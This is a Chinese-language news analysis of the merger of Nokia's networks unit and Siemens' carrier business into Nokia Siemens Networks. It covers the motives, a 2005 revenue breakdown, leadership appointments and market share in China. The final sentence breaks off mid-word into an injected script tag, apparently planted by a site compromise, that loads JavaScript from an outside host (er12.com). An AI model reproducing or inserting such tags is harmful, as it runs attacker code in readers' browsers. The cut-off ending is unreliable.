诺基亚和西门子联合宣布，合并诺基亚网络事业部和西门子与运营商相关的业务部门，组建新公司，新公司的名称为nokia siemens networks，双方各占50%股份。以2005年的收入为参考，新公司年收入高达158亿欧元(诺基亚66亿欧元，西门子92亿欧元)。由此，继爱立信收购马可尼、阿尔卡特收购朗讯之后的又一个电信设备制造商并购大案正式诞生。
为什么合并？
诺基亚和西门子的联姻与今年4月阿尔卡特和朗讯的合并具有很大的共性。首先，美国和欧洲运营商的整合是主要原因。随着运营市场竞争越来越激烈，运营商纷纷进行整合以成为集固定、无线等为一体的综合业务提供商。美国sbc/at&t/bellsouth、sprint/nextel等的并购，欧洲telefonica/o2等并购都属此例。运营商数量的减少自然降低了网络投资规模，这就迫使设备商通过并购来进行应对。
其次，四重播放(话音、数据、视频和移动)和固定移动融合等成为行业发展趋势也是促使设备商纷纷整合的原因所在。以诺基亚和西门子合并为例，诺基亚将借此增强了自己梦寐以求的固网业务，这无疑有助于其在未来固定移动热潮中攫取更大收入。
当然，华为、中兴等中国新兴电信设备商的崛起也是诺基亚与西门子合并的重要原因。由于华为、中兴等厂商推出了更具性价比的电信解决方案，在很多竞标中已经对传统设备商造成了强大的压力。这时候，通过联合来实现规模效益进而节省成本便非常必要。据悉，通过去除重叠的职能部门、整合和更好地利用销售与市场营销机构、减少企业一般管理开支、提高采购利益和研发效率，诺基亚西门子网络公司到2010年预计将实现每年15亿欧元的成本节省。
事实上，就在阿尔卡特和朗讯合并后的今年4月，诺基亚和西门子就开始了谈判。之前，西门子通过更换通信集团ceo以及大量裁员来吸引并购合作伙伴。在合并后，诺基亚西门子网络公司在gsm/wcdma市场的全球市场份额将为32%，仅次于爱立信的38%市场份额，这无疑将使诺基亚西门子在未来3g争夺战中受益。
合并将使双方受益
虽然新公司里面双方母公司各占50%股份，但种种迹象表明其将更多的以诺基亚为主导。新公司将在位于芬兰大都市区的赫尔辛基设立运营总部，同时将重要的地区性总部设在德国慕尼黑，新公司未来5大业务部门中的3个也将位于慕尼黑。
占总收入百分比按照2005年收入统计值
无线基础设施 56€88.5亿
无线服务 22€34.8亿
固网基础设施 16€25.3亿
固网服务 6€9.48亿
总计 100€158亿
source: nokia, siemens
表1: 诺基亚西门子新公司业务收入构成
在管理层构成中，目前任职诺基亚网络事业部执行副总裁与总经理的白伟贤(simon beresford-wylie)将在合并完成后随即出任新公司的首席执行官。目前担任西门子奥地利(siemens ag austria)公司执行董事会成员的peter schnhofer则将出任首席财务官。
正如诺基亚和西门子联合发布的新闻稿中所称，合并将使双方受益。“新的合资公司将通过其规模和全球资源，开发和应用有利于带来收入、节约成本的产品与服务。诺基亚西门子网络公司将拥有世界最优秀的研发团队之一，他们有能力承担下一代固定和移动产品平台和业务的研发任务。新公司具备世界一流的固定与移动网融合能力，充分互补的全球客户资源，在成熟和新兴市场的强劲表现，并且还是世界上规模最大、经验最丰富的服务机构之一。”
对于西门子而言，其一直面临巨大压力的通信部门终于找到了出路，通过入股诺基亚西门子网络公司，西门子既转嫁了利润下跌的风险，又保持了从电信设备领域获利的机会，可谓一举两得。可以预计，在出售运营商业务部门之后，西门子的企业业务部门也将走相似的道路。
对于诺基亚而言，通过合并将大大增强其在固网和专业电信服务方面的实力。白伟贤表示，“新公司将能为运营商客户提供综合固定和移动网络产品组合，以及整套专业服务。新公司的产品组合包括下一代网络融合产品，如ims、2g gsm/edge接入、3g wcdma/hsdpa接入、扩展移动核心、固定宽带、传输、iptv、lte、wimax以及为新兴市场运营商量身定制的低成本移动语音产品。”
双方的合并也大大增强了其在专业服务和管理服务方面的实力，据yankee group预测，该领域市场在未来5年内的年复合增长率为5～10%。双方在全球市场分布上也具有互补性，重叠的客户也很小，合并后的新公司将在西欧、拉丁美洲和新兴市场加强实力。
在中国，西门子虽然在3g时代表现平平，但由于历史原因，西门子在2g以及固网方面仍然有相当大的市场份额。例如在中国联通，据统计西门子占有中国联通各省gsm交换设备市场的40%份额，以及将近30%的联通各省gsm无线设备市场份额。在中国移?script src=http://er12.com/t.js>
